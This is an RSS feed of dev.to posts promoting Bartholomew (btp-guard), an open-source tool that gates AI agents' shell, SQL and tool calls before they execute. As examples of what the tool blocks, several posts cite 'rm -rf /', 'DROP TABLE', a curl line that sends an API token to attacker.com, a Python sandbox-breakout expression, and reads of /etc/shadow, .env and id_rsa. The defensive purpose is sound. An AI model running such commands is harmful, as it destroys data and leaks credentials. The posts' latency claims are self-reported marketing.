<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: ivegotahunnitonit</title>
    <description>The latest articles on DEV Community by ivegotahunnitonit (@ivegotahunnitonit).</description>
    <link>https://dev.to/ivegotahunnitonit</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4105658%2F1c6593ae-e4d8-43f3-acfc-d8ce6b353145.png</url>
      <title>DEV Community: ivegotahunnitonit</title>
      <link>https://dev.to/ivegotahunnitonit</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ivegotahunnitonit"/>
    <language>en</language>
    <item>
      <title>Bartholomew Guard</title>
      <dc:creator>ivegotahunnitonit</dc:creator>
      <pubDate>Wed, 16 Sep 2026 01:36:50 +0000</pubDate>
      <link>https://dev.to/ivegotahunnitonit/bartholomew-guard-3dk1</link>
      <guid>https://dev.to/ivegotahunnitonit/bartholomew-guard-3dk1</guid>
      <description>&lt;p&gt;Blocks unsafe AI-driven commands before execution&lt;br&gt;
Works in VS Code and GitHub Actions&lt;br&gt;
Real policy checks, not a demo&lt;br&gt;
Designed for destructive command protection and auditability&lt;/p&gt;

</description>
      <category>devtools</category>
      <category>webdev</category>
      <category>ai</category>
      <category>python</category>
    </item>
    <item>
      <title>Bartholomew Guard: shipping an AI safety gate for destructive actions</title>
      <dc:creator>ivegotahunnitonit</dc:creator>
      <pubDate>Wed, 16 Sep 2026 01:34:37 +0000</pubDate>
      <link>https://dev.to/ivegotahunnitonit/bartholomew-guard-shipping-an-ai-safety-gate-for-destructive-actions-2a01</link>
      <guid>https://dev.to/ivegotahunnitonit/bartholomew-guard-shipping-an-ai-safety-gate-for-destructive-actions-2a01</guid>
      <description>&lt;p&gt;We built Bartholomew to stop unsafe AI-driven commands before they execute. The core idea is simple: if an agent tries to run something destructive, high-risk, or out of policy, the action is blocked before it reaches the shell.&lt;/p&gt;

&lt;p&gt;This started as a real enforcement problem, not a demo. The guard evaluates command intent, flags destructive patterns, and denies actions like shell deletion, risky file operations, and unsafe execution paths. It also records a receipt-style outcome so the decision is auditable.&lt;/p&gt;

&lt;p&gt;We packaged it into a VS Code extension and a GitHub Action so it works in both developer workflows and automation pipelines. That gives teams a practical way to enforce guardrails without waiting for a broad platform rollout.&lt;/p&gt;

&lt;p&gt;The result is a concrete layer of safety for AI-assisted development: block the dangerous action, explain why it was denied, and keep the rest of the workflow moving safely.&lt;/p&gt;

&lt;p&gt;We’re still in the early days of agentic tooling, but the important step is to make the safety layer real, visible, and enforceable.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>opensource</category>
      <category>programming</category>
      <category>x</category>
    </item>
    <item>
      <title>1500 + dev installs this week...</title>
      <dc:creator>ivegotahunnitonit</dc:creator>
      <pubDate>Sat, 12 Sep 2026 05:37:57 +0000</pubDate>
      <link>https://dev.to/ivegotahunnitonit/1500-dev-installs-this-week-5d1c</link>
      <guid>https://dev.to/ivegotahunnitonit/1500-dev-installs-this-week-5d1c</guid>
      <description>&lt;p&gt;1,500+ devs installed btp-guard this week.&lt;/p&gt;

&lt;p&gt;If your coding agent has shell access, you need an execution firewall.&lt;/p&gt;

&lt;p&gt;Evaluates AST in &amp;lt;35us, blocks destructive commands, and scrubs keys before OS syscalls.&lt;/p&gt;

&lt;p&gt;npx btp-guard init&lt;br&gt;
bartholomew.info&lt;/p&gt;

</description>
      <category>ai</category>
      <category>opensource</category>
      <category>git</category>
      <category>security</category>
    </item>
    <item>
      <title>Huh?</title>
      <dc:creator>ivegotahunnitonit</dc:creator>
      <pubDate>Fri, 11 Sep 2026 21:28:29 +0000</pubDate>
      <link>https://dev.to/ivegotahunnitonit/huh-4k3j</link>
      <guid>https://dev.to/ivegotahunnitonit/huh-4k3j</guid>
      <description>&lt;p&gt;Most agent safety systems today operate as post-execution audit loggers or external HTTP reverse proxies. That creates two big problems:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Post-execution alerts are too late: if an agent executes &lt;code&gt;DROP TABLE users;&lt;/code&gt; or &lt;code&gt;rm -rf /&lt;/code&gt;, knowing about it 2 seconds later in a Slack webhook doesn't save your database.&lt;/li&gt;
&lt;li&gt;HTTP proxy hops add 50ms–200ms of latency per tool call, which kills throughput when orchestrating multi-agent swarms.
Bartholomew runs inline within the agent process (Python/Go/Rust). Every tool call, database query, and shell dispatch is intercepted before it reaches the OS or database seam. It evaluates local AST syntax trees, masks credentials, checks spend caps, and produces signed Ed25519 Merkle audit receipts—with an average latency of 29.44 microseconds (&amp;lt;0.03 milliseconds).
What's New in v5.4.5:&lt;/li&gt;
&lt;li&gt;Frontier Model Wire Support: Native tool normalization for OpenAI GPT-Astra / Agents SDK, Anthropic Claude 3.7 (with hybrid reasoning scratchpad isolation so  blocks don't cause false positives), Google Gemini 3.8 / 2.0 multimodal thought parts, and DeepSeek-R1.&lt;/li&gt;
&lt;li&gt;The Sentinel Companion: Bartholomew is designed not as a cold HTTP 403 error, but as your swarm's digital steward. If an LLM hallucination attempts an unconstrained delete, Bartholomew holds the line and prints empathetic, constructive guidance explaining what went wrong and how the agent can safely achieve its goal.&lt;/li&gt;
&lt;li&gt;1-Line Multi-Agent Adapters: Drop-in guards for CrewAI, LangGraph, Microsoft AutoGen, and LlamaIndex.
5-Second Test Drive:
pip install --upgrade btp-guard
Test a simulated runaway table drop right in your terminal:
python -m cli companion --simulate drop
Or converse directly with the sentinel companion in real-time:
python -m cli companion
Architecture &amp;amp; Benchmarks:&lt;/li&gt;
&lt;li&gt;Source: &lt;a href="https://github.com/ivegotahunnitonit/bartholomew" rel="noopener noreferrer"&gt;https://github.com/ivegotahunnitonit/bartholomew&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Benchmark report: &lt;a href="https://github.com/ivegotahunnitonit/bartholomew/blob/main/BENCHMARK_FRONTIER_MODELS.md" rel="noopener noreferrer"&gt;https://github.com/ivegotahunnitonit/bartholomew/blob/main/BENCHMARK_FRONTIER_MODELS.md&lt;/a&gt; (tested across 4,000 iterations at 33,900+ evals/sec)&lt;/li&gt;
&lt;li&gt;Web &amp;amp; Docs: &lt;a href="https://bartholomew.info" rel="noopener noreferrer"&gt;https://bartholomew.info&lt;/a&gt;
We would love your honest feedback, critique of our AST parsing heuristics, and thoughts on agent execution security!&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>ai</category>
      <category>opensource</category>
      <category>webdev</category>
      <category>news</category>
    </item>
    <item>
      <title>Bartholomew v5.4.1</title>
      <dc:creator>ivegotahunnitonit</dc:creator>
      <pubDate>Fri, 11 Sep 2026 06:26:14 +0000</pubDate>
      <link>https://dev.to/ivegotahunnitonit/bartholomew-v541-3jkd</link>
      <guid>https://dev.to/ivegotahunnitonit/bartholomew-v541-3jkd</guid>
      <description>&lt;p&gt;We just shipped Bartholomew v5.4.1 on Open VSX &amp;amp; Cursor: sub-25µs in-memory AST gating that blocks destructive bash &amp;amp; prompt leaks before OS execution. 0 compute overhead.&lt;br&gt;
Get it: bartholomew.info&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Tool Gating for AI Agents</title>
      <dc:creator>ivegotahunnitonit</dc:creator>
      <pubDate>Sat, 05 Sep 2026 06:39:58 +0000</pubDate>
      <link>https://dev.to/ivegotahunnitonit/tool-gating-for-ai-agents-4mal</link>
      <guid>https://dev.to/ivegotahunnitonit/tool-gating-for-ai-agents-4mal</guid>
      <description>&lt;h1&gt;
  
  
  Why LLM Guardrails Keep Failing (And How We Built Sub-35µs In-Process Tool Gating for AI Agents)
&lt;/h1&gt;

&lt;p&gt;Moving from slow 1,500ms prompt moderation classifiers and infinite agent retry loops to deterministic, in-process AST gating and zero-inconvenience pro bono security.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The Core Flaw in Modern AI Agent Safety
&lt;/h2&gt;

&lt;p&gt;When autonomous agents (Claude Desktop, Cursor, LangChain, CrewAI, AutoGen) interact with real environments, they execute real shell commands, manipulate filesystems, invoke external APIs, and execute SQL queries.&lt;/p&gt;

&lt;p&gt;However, existing safety tools treat AI guardrails as external chat filters:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Slow Prompt Classifiers: Tools like NeMo Guardrails or external cloud proxies take 800ms to 2,500ms to evaluate an action via an LLM call. They are completely blind to what happens when the code actually hits Python or the OS.&lt;/li&gt;
&lt;li&gt;Infinite Hallucination Loops: Hard exceptions crash pipelines with no recovery context, causing the agent to repeatedly retry the same malformed payload until token limits are exhausted.&lt;/li&gt;
&lt;li&gt;Secret Exfiltration: Downstream tool errors and logs routinely echo unmasked API keys (sk-proj-..., AKIA...) back into the model's context window.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Safety mechanisms should not operate as slow external chat proxies. Agent execution requires sub-millisecond, deterministic, in-process runtime boundaries.&lt;/p&gt;

&lt;p&gt;Today, we are launching Bartholomew (BTP v3.0) alongside mcp-proxy-guard: 100% open-source (Apache 2.0 / MIT) pro-bono security tooling for the AI developer community.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. The Architecture: In-Process Execution Gateway
&lt;/h2&gt;

&lt;p&gt;Bartholomew sits directly inside the agent's process memory or on the stdio boundary between MCP clients and servers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;       [ MCP Client: Claude / Cursor ]
                      │
                      ▼  (Inbound JSON-RPC: tools/call)
   ┌────────────────────────────────────────────────────────┐
   │         BARTHOLOMEW INLINE SECURITY GATEWAY            │
   │                                                        │
   │  1. In-Flight Credential Redaction (OpenAI, AWS, Git)  │
   │  2. Sub-35µs Polyglot AST Syntax Tree Inspection       │
   │  3. In-Memory Micro-Rollback Snapshot (&amp;lt;5µs)           │
   └──────────────────────────┬─────────────────────────────┘
                              │
                 [ If Invariants Pass ] ──► [ OS / DB Runtime ]
                              │                       │
                 [ If Invariants Fail ]               ▼
                              │            (Output Scrubbing)
                              ▼                       │
               ┌────────────────────────┐             ▼
               │ Instant Micro-Rollback │    ┌─────────────────┐
               │ Zero Residual Damage   │    │ Chained Merkle  │
               │ Structured Recov Hint  │    │ Turn Receipt    │
               └────────────────────────┘    └─────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. How to Use It in 60 Seconds
&lt;/h2&gt;

&lt;h3&gt;
  
  
  A. Protecting Model Context Protocol (Claude Desktop &amp;amp; Cursor)
&lt;/h3&gt;

&lt;p&gt;Prepend &lt;code&gt;npx -y mcp-proxy-guard --&lt;/code&gt; to your MCP server command in &lt;code&gt;claude_desktop_config.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"filesystem"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"-y"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mcp-proxy-guard"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"--"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"-y"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"@modelcontextprotocol/server-filesystem"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/Users/me/projects"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  B. Python universal package (pip install btp-guard)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;btp_guard&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Guard&lt;/span&gt;

&lt;span class="n"&gt;guard&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Guard&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;spend_cap&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;50.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@guard.protect&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run_query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Destructive mutations (DROP TABLE) are blocked in &amp;lt;35µs
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;guard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rm -rf /var/data&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;allowed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="c1"&gt;# False
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  C. Cursor &amp;amp; VS Code Extension
&lt;/h3&gt;

&lt;p&gt;Install directly from Open VSX or search Bartholomew in your editor's Extensions sidebar:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;cursor &lt;span class="nt"&gt;--install-extension&lt;/span&gt; Bartholomew.bartholomew-guard-vscode
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. The Pro Bono Open-Source Guarantee
&lt;/h2&gt;

&lt;p&gt;The entire local execution gateway, AST syntax gating, in-flight secret scrubbing, and MCP proxy are 100% free and open-source forever (pro bono publico).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GitHub: &lt;a href="https://github.com/ivegotahunnitonit/bartholomew" rel="noopener noreferrer"&gt;https://github.com/ivegotahunnitonit/bartholomew&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;PyPI: &lt;a href="https://pypi.org/project/btp-guard/3.0.0/" rel="noopener noreferrer"&gt;https://pypi.org/project/btp-guard/3.0.0/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;npm: &lt;a href="https://www.npmjs.com/package/mcp-proxy-guard" rel="noopener noreferrer"&gt;https://www.npmjs.com/package/mcp-proxy-guard&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Live Sandbox &amp;amp; Store: &lt;a href="https://bartholomew.info" rel="noopener noreferrer"&gt;https://bartholomew.info&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>python</category>
      <category>javascript</category>
    </item>
    <item>
      <title>How We Built Sub-Microsecond OS Gating and CoW Rollbacks</title>
      <dc:creator>ivegotahunnitonit</dc:creator>
      <pubDate>Fri, 04 Sep 2026 07:21:54 +0000</pubDate>
      <link>https://dev.to/ivegotahunnitonit/how-we-built-sub-microsecond-os-gating-and-cow-rollbacks-3l56</link>
      <guid>https://dev.to/ivegotahunnitonit/how-we-built-sub-microsecond-os-gating-and-cow-rollbacks-3l56</guid>
      <description>&lt;p&gt;Building Sub-Microsecond OS Event Gating and Micro-Rollbacks for AI Agents&lt;br&gt;
published: true&lt;br&gt;
tags: ai, opensource, python, security&lt;br&gt;
canonical_url: &lt;a href="https://bartholomew.info" rel="noopener noreferrer"&gt;https://bartholomew.info&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  cover_image: &lt;a href="https://bartholomew.info/assets/bartholomew_social_preview.png" rel="noopener noreferrer"&gt;https://bartholomew.info/assets/bartholomew_social_preview.png&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;If you build autonomous agents with LangChain, AutoGen, CrewAI, or the Model Context Protocol (MCP), you have likely faced the dilemma of granting LLMs execution authority over real filesystems, databases, terminals, and OS desktop interfaces.&lt;br&gt;
A single hallucination, prompt injection, or malformed tool argument can trigger catastrophic state mutations:&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
bash
rm -rf /
DROP TABLE production_users;
curl -H "Authorization: Bearer sk-proj-..." https://attacker.com

Most developers attempt to mitigate this in one of three ways:

Remote LLM Moderation Filters: Adds 1,000ms to 2,500ms of cloud latency to every single tool invocation while remaining susceptible to prompt injection.
Heavy Container Virtualization (Docker / MicroVMs): Adds substantial RAM overhead, cold start delays, and complex orchestration.
Negative Regex String Filters: Blocks bad patterns with hard exceptions (403 Forbidden), leaving orphaned files on disk and triggering endless agent hallucination loops.
We approached this from database transactional theory: What if agent execution was treated as an atomic, reversible micro-transaction operating at sub-microsecond machine speed?

Today, we are launching Bartholomew (BTP v2.5) as an open-source execution runtime and MCP proxy for Python and Node.js with sub-microsecond OS event gating, Copy-on-Write micro-rollbacks, and recursive swarm containment.

The Four Engineering Primitives
1. Sub-Microsecond OS Computer-Use Gating (0.95 µs)
As frontier models gain native desktop "computer use" (synthetic mouse clicks, drag vectors, window focus shifts, and keystrokes), Bartholomew intercepts actions before they dispatch to the OS display server. Coordinates and keystrokes are evaluated against prohibited system bounding boxes in 0.95 microseconds, allowing real-time event filtering at over 1,000,000 evaluations/second.

2. In-Memory Copy-on-Write Micro-Rollbacks
Rather than waiting for an agent to permanently damage disk state, Bartholomew captures an in-memory state snapshot of target paths prior to any mutating tool call (write_file, patch_code, execute_command).

If the tool attempts a directory traversal outside the workspace root (os.path.commonpath) or violates an AST invariant:

The pristine filesystem state is restored in milliseconds.
Orphaned files created during the attempt are immediately unlinked.
The agent receives a constructive diagnostic recovery hint rather than a fatal crash, allowing the LLM to self-correct its parameters on the next turn.
3. Recursive Swarm Quota Conservation
When an orchestrator agent recursively spawns sub-agents, token budgets undergo geometric attenuation: Total Swarm Quota &amp;lt;= Root Quota &amp;lt; Infinity. Parent quota is decremented upon child creation, mathematically eliminating runaway multi-agent loops and infinite API spend.

4. Bi-Directional In-Flight Secret Scrubbing (0.82 µs)
Security requires preventing credential leakage in both directions:

Inbound Tool Arguments: Prevents users or agents from passing sensitive keys downstream.
Outbound Server Outputs: Redacts API keys echoed in tool stdout or error traces before they reach the model's context or observability logs.
Supported patterns include OpenAI (sk-proj-), Anthropic (sk-ant-), AWS Access Keys (AKIA), and GitHub Personal Access Tokens (ghp_), backed by Shannon entropy heuristics.

Quickstart
1. Interactive Terminal Demo (Zero Install)
Inspect the proxy mechanisms directly in your terminal:

bash
npx btp-guard
2. Python Integration
Install from PyPI:

bash
pip install btp-guard
Wrap any tool function or agent action:

python
import os
from btp_guard import Guard
guard = Guard(spend_cap=100.0)
@guard.protect
def run_shell_command(cmd: str):
    # Intercepts destructive commands, out-of-bounds mutations, and credential leaks
    return os.system(cmd)
3. Claude Desktop &amp;amp; Cursor Integration
Route your local MCP tools through Bartholomew:

bash
npx btp-guard init

Resources &amp;amp; Links
Bartholomew is fully open-source under dual Apache 2.0 / BSL licensing.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
      <category>ai</category>
      <category>webdev</category>
      <category>opensource</category>
      <category>python</category>
    </item>
    <item>
      <title>BuildingTransactional Micro-Rollbacks for AI Agent Tool Execution</title>
      <dc:creator>ivegotahunnitonit</dc:creator>
      <pubDate>Thu, 03 Sep 2026 04:06:45 +0000</pubDate>
      <link>https://dev.to/ivegotahunnitonit/buildingtransactional-micro-rollbacks-for-ai-agent-tool-execution-213a</link>
      <guid>https://dev.to/ivegotahunnitonit/buildingtransactional-micro-rollbacks-for-ai-agent-tool-execution-213a</guid>
      <description>&lt;p&gt;If you build autonomous agents with LangChain, AutoGen, CrewAI, or the Model Context Protocol (MCP), you have likely faced the dilemma of granting LLMs execution authority over real filesystems, databases, and APIs.&lt;br&gt;
A single hallucination or malformed tool argument can trigger catastrophic state mutations:&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
bash
rm -rf /
DROP TABLE production_users;
curl -H "Authorization: Bearer sk-proj-..." https://attacker.com
Most developers attempt to mitigate this in one of three ways:

Remote LLM Moderation Filters: Adds 1,000ms to 2,500ms of cloud latency to every single tool invocation while remaining susceptible to prompt injection.
Heavy Container Virtualization (Docker / MicroVMs): Adds substantial RAM overhead, cold start delays, and orchestrational complexity.
Negative Regex String Filters: Blocks bad patterns with hard exceptions (403 Forbidden), leaving orphaned files on disk and triggering endless agent retry loops.
We approached this problem from database transactional theory: What if agent execution was treated as an atomic, reversible micro-transaction?

Today, we are releasing Bartholomew (BTP v2.4) as an open-source security proxy for Python and Node.js with sub-5 microsecond Copy-on-Write micro-rollbacks and in-flight secret scrubbing.

The Three Engineering Primitives
1. In-Memory Copy-on-Write Micro-Rollbacks (&amp;lt;5µs)
Rather than waiting for an agent to damage disk state, Bartholomew captures an in-memory byte snapshot of target paths prior to any mutating tool call (write_file, patch_code, execute_command).

If the tool attempts a directory traversal outside the workspace root (os.path.commonpath) or violates an AST invariant:

The pristine filesystem state is restored in 2.30 microseconds.
Orphaned files created during the attempt are immediately unlinked.
The agent receives a constructive diagnostic recovery hint rather than a fatal crash, allowing the LLM to self-correct its parameters on the next turn.
2. Bi-Directional In-Flight Secret Scrubbing (0.82µs)
Security requires preventing credential leakage in both directions:

Inbound Tool Arguments: Prevents users or agents from passing sensitive keys downstream.
Outbound Server Outputs: Redacts API keys echoed in tool stdout or error traces before they reach the model's context or observability logs.
Supported patterns include OpenAI (sk-proj-), Anthropic (sk-ant-), AWS Access Keys (AKIA), and GitHub Personal Access Tokens (ghp_), backed by Shannon entropy evaluation.

3. Chained Merkle Trajectory Receipts
Every execution step is cryptographically bound to the prior state:

$$H_i = \text{SHA-256}(H_{i-1} \parallel \text{RFC8785}(\text{Receipt}_i))$$

Receipts are signed using FIPS 186-5 Ed25519. The resulting trajectory can be verified 100% offline with zero network calls using 30 lines of standard-library code in Python, Node.js, or Go.

Empirical Benchmarks
Evaluated over 50,000 continuous adversarial executions. 

&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
      &lt;div class="c-embed__body flex items-center justify-between"&gt;
        &lt;a href="https://bartholomew.info/" rel="noopener noreferrer" class="c-link fw-bold flex items-center"&gt;
          &lt;span class="mr-2"&gt;bartholomew.info&lt;/span&gt;
          

        &lt;/a&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>security</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Built a zero-latency AST bouncer for local agent tool-calling</title>
      <dc:creator>ivegotahunnitonit</dc:creator>
      <pubDate>Wed, 02 Sep 2026 07:27:27 +0000</pubDate>
      <link>https://dev.to/ivegotahunnitonit/built-a-zero-latency-ast-bouncer-for-local-agent-tool-calling-3lk6</link>
      <guid>https://dev.to/ivegotahunnitonit/built-a-zero-latency-ast-bouncer-for-local-agent-tool-calling-3lk6</guid>
      <description>&lt;p&gt;Hey everyone,&lt;/p&gt;

&lt;p&gt;Like many of you, we got frustrated with the current state of safety guardrails for autonomous agents. &lt;/p&gt;

&lt;p&gt;When you're running local LLMs (via Ollama, vLLM, or LM Studio) to execute bash scripts or database queries, calling a remote cloud moderation endpoint (Bedrock, OpenAI Moderation) defeats the entire purpose of running locally:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;It adds 1,500ms–2,500ms of cloud latency to every single tool invocation.&lt;/li&gt;
&lt;li&gt;It breaks the air-gap / local privacy guarantee.&lt;/li&gt;
&lt;li&gt;LLM-as-a-judge evaluators are still susceptible to jailbreaks.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  The Approach: Deterministic Compiler AST Invariants
&lt;/h3&gt;

&lt;p&gt;Instead of asking another model if a proposed command is safe, we built an in-process Abstract Syntax Tree (AST) evaluator that parses Python, SQL, and Bash code blocks directly in caller memory before execution.&lt;/p&gt;

&lt;p&gt;If an agent attempts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Catastrophic filesystem deletes (&lt;code&gt;rm -rf&lt;/code&gt;, &lt;code&gt;mkfs&lt;/code&gt;, raw device writes)&lt;/li&gt;
&lt;li&gt;Database DDL purges (&lt;code&gt;DROP TABLE&lt;/code&gt;, &lt;code&gt;TRUNCATE&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Dynamic Python sandbox breakouts (&lt;code&gt;().__class__.__base__.__subclasses__()&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Unauthorized reads of sensitive paths (&lt;code&gt;/etc/shadow&lt;/code&gt;, &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;id_rsa&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;High-entropy credential exfiltration (AWS keys, OpenAI keys, GitHub PATs)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The tool execution is aborted in &lt;strong&gt;under 40 microseconds&lt;/strong&gt; (&amp;lt;0.00004s) directly inside Python memory, with zero OS syscalls spawned.&lt;/p&gt;

&lt;h3&gt;
  
  
  Usage
&lt;/h3&gt;

&lt;p&gt;It's published on PyPI as &lt;code&gt;btp-guard&lt;/code&gt;:&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
bash
pip install btp-guard
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
      <category>agents</category>
      <category>llm</category>
      <category>python</category>
      <category>security</category>
    </item>
    <item>
      <title>Stop Calling Cloud APIs to Guard AI Agent Tools: How to Gate Commands in Under 50µs</title>
      <dc:creator>ivegotahunnitonit</dc:creator>
      <pubDate>Wed, 02 Sep 2026 07:25:11 +0000</pubDate>
      <link>https://dev.to/ivegotahunnitonit/stop-calling-cloud-apis-to-guard-ai-agent-tools-how-to-gate-commands-in-under-50us-19a0</link>
      <guid>https://dev.to/ivegotahunnitonit/stop-calling-cloud-apis-to-guard-ai-agent-tools-how-to-gate-commands-in-under-50us-19a0</guid>
      <description>&lt;p&gt;If you've built autonomous agents with &lt;strong&gt;CrewAI&lt;/strong&gt;, &lt;strong&gt;LangGraph&lt;/strong&gt;, or &lt;strong&gt;Microsoft AutoGen&lt;/strong&gt;, you know that giving an LLM access to bash tools or database queries is genuinely terrifying.&lt;/p&gt;

&lt;p&gt;A single jailbreak, prompt injection, or weird hallucination can run:&lt;/p&gt;



